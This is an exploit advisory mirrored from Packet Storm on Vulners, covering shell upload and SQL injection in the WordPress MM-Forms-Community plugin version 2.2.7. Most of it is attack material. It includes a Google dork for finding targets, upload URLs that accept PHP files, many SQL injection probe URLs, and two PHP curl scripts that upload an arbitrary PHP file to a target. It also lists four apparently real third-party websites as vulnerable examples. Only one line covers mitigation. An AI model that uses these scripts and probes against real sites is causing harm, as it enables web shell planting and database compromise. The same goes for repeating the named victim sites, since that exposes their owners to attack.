Lucene search
K

WordPress MM-Forms-Community 2.2.7 Shell Upload / SQL Injection

🗓️ 25 Jan 2019 00:00:00Reported by KingSkrupellosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 150 Views

WordPress MM-Forms-Community 2.2.7 Shell Upload and SQL Injection vulnerabilit

Code
`####################################################################  
  
# Exploit Title : WordPress MM-Forms-Community Plugins 2.2.7 Shell Upload and SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 26/01/2019  
# Vendor Homepage : wordpress.org  
# Software Download Link : downloads.wordpress.org/plugin/mm-forms-community.zip  
# Software Information Link : wordpress.org/plugins/mm-forms-community/  
wordpress.org/support/plugin/mm-forms-community/  
# Software Affected Versions : From 1.8.9 to 2.2.7 - All Current Versions  
+ See here => /wp-content/plugins/mm-forms-community/changelog  
+ See here => /wp-content/plugins/mm-forms-community/readme.txt  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:/wp-content/plugins/mm-forms-community/  
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]  
CWE-264 [ Permissions, Privileges, and Access Controls ]   
CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]  
  
####################################################################  
  
# Description :  
*************  
  
* MM Forms Community is open source software for WordPress CMS.  
  
* WordPress Plugin MM Forms Community is prone to a vulnerability that lets attackers   
upload arbitrary files and it has SQL injection vulnerability. The issue occurs because   
the application fails to adequately sanitize user-supplied input.   
An attacker can exploit this vulnerability to upload arbitrary PHP code and run it  
in the context of the Web server process. This may facilitate  
unauthorized access or privilege escalation; other attacks are also possible.   
WordPress Plugin MM Forms Community versions 2.2.7 are vulnerable;   
prior versions may also be affected.  
  
* This software [ WordPress MM-Forms-Community Plugins 2.2.7 and other versions ]  
allows the attacker to upload or transfer files of dangerous   
types that can be automatically processed within the product's environment.  
  
# Solution [ Fix the Bug ] :  
***********************  
Restrict access to the /wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php script (e.g. via .htaccess)  
  
Restrict access to the /wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php script (e.g. via .htaccess)  
  
####################################################################  
  
# == Installation ==  
******************  
  
1. Upload whole `mm-forms` folder to the `/wp-content/plugins/` directory  
2. Activate the plugin through the 'Plugins' menu in WordPress  
3. Make following directories writable (chmod 777) /exports/ and /captcha/tmp  
4. If you are using WordPress 3.2.x you have to move the files (jquery.js and jquery.form.js)   
in jquery-update to the wp-includes/js/jquery directory of your WordPress installation   
  
####################################################################  
  
# Remote File Upload Exploit :  
**************************  
  
/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=[WRITE-HERE-FILE-EXTENSION]&maxfilesize=0&fieldname=attach  
/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=txt&maxfilesize=0&fieldname=attach  
/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=asp&maxfilesize=10&fieldname=attach  
/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=php&maxfilesize=10&fieldname=attach  
  
=> Choose File for Uploading.....  
  
/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php  
  
=> {error: 'No file was uploaded..', msg: '', filename: '' }  
  
# Directory File Path :  
********************  
  
/wp-content/plugins/mm-forms-community/upload/temp/......  
  
/wp-content/uploads/......  
  
# SQL Injection Exploit =>   
**************************  
  
/wp-content/plugins/mm-forms-community/includes/advanced_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/copy_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/details.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/edit_details.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/form_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/forms_list.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/frontend_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/mail_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/mm-forms-generate-rss-feed.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/notification_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/rpc.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/rpc_1.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/uninstall_settings.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/includes/view_emails.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/mm-forms.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/tinymce/plugins/mm-forms-community/dialog.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/tinymce/plugins/mm-forms-community/dialog_formdata.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/tinymce/plugins/mm-forms/dialog.php?id=1%27  
  
/wp-content/plugins/mm-forms-community/tinymce/plugins/mm-forms/dialog_formdata.php?id=1%27  
  
####################################################################  
  
<?php  
  
$uploadfile="yourfilenamehere.php";  
$ch =   
curl_init("http://www.VULNERABLESITE/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
array('fileToUpload'=>"@$uploadfile"));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch);  
print "$postResult";  
  
?>  
  
####################################################################  
  
<?php  
  
$uploadfile="yourfilenamehere.php";  
$ch =   
curl_init("http://www.VULNERABLESITE/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=&maxfilesize=10&fieldname=attach");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
array('fileToUpload'=>"@$uploadfile"));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch);  
print "$postResult";  
  
?>  
  
####################################################################  
  
# Example Vulnerable Sites :  
*************************  
  
[+] brittneycampbell.com/fiestadelsol/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=php&maxfilesize=10&fieldname=attach  
  
[+] calebstorkey.net/wp-content/plugins/mm-forms-community/includes/ajaxfileupload.php?ufiletypes=php&maxfilesize=10&fieldname=attach  
  
[+] conniemullenmidwife.com/wp/wp-content/plugins/mm-forms-community/tinymce/plugins/mm-forms/dialog_formdata.php?id=1%27  
  
[+] twincitytimes.com/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php  
  
####################################################################  
  
# SQL Database Error :  
*********************  
  
Fatal error: Call to undefined function _e() in /home/midwife/public_html/wp  
/wp-content/plugins/mm-forms-community/includes/copy_settings.php on line 20  
  
####################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
####################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation